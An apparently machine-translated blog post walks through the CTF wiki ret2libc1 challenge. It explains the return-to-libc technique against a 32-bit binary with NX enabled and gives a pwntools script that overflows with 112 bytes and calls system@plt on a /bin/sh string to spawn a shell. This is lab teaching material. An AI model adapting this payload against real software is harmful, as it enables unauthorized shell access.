当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program 
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh

Check if there is system (segment yes plt, No extern)

/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
- 开源crm客户关系统管理系统源码,免费分享
- Spire. PDF for NET 8.7.2
- 424. The longest repeated character after replacement ●●
- [EF core] mapping relationship between EF core and C data type
- Scala concurrent programming (II) akka
- orgchart. JS organization chart, presenting structural data in an elegant way
- Neural structured learning - Part 3: training with synthesized graphs
- Online yaml to CSV tool
- Xinyuan & Lichuang EDA training camp - brushless motor drive
- C reflection and type
猜你喜欢

SpreadJS 15.1 CN 与 SpreadJS 15.1 EN

成为程序员的你,后悔了吗?

Go language introduction detailed tutorial (I): go language in the era

用列表初始化你的vector&&initializer_list简介

"14th five year plan": emphasis on the promotion of electronic contracts, electronic signatures and other applications

CIS基准测试工具kube-bench使用

Qt QPushButton详解

Problem solving win10 quickly open ipynb file

Do you regret becoming a programmer?

《牛客刷verilog》Part III Verilog企业真题
随机推荐
多普勒效应(多普勒频移)
开源crm客户关系统管理系统源码,免费分享
Part III Verilog enterprise real topic of "Niuke brush Verilog"
Zero rhino technology joined hands with the intelligence Club: the "causal faction" forum was successfully held, and the "causal revolution" brought the next generation of trusted AI
Open3D 点云随机添加噪声
Redis高可用——主从复制、哨兵模式、集群
4 points tell you the advantages of the combination of real-time chat and chat robots
C reflection and type
698. Divided into k equal subsets ●●
Cwaitabletimer timer, used to create timer object access
Use mapper: --- tkmapper
424. 替换后的最长重复字符 ●●
Go language introduction detailed tutorial (I): go language in the era
激光slam学习记录
Convert Chinese into pinyin
Rasa 3.x 学习系列-Rasa X 社区版(免费版) 更改
多普勒效應(多普勒頻移)
C# Linq Demo
GFS Distributed File System
QCombox(重写)+QCompleter(自动补全,自动加载qcombox的下拉选项,设置背景颜色)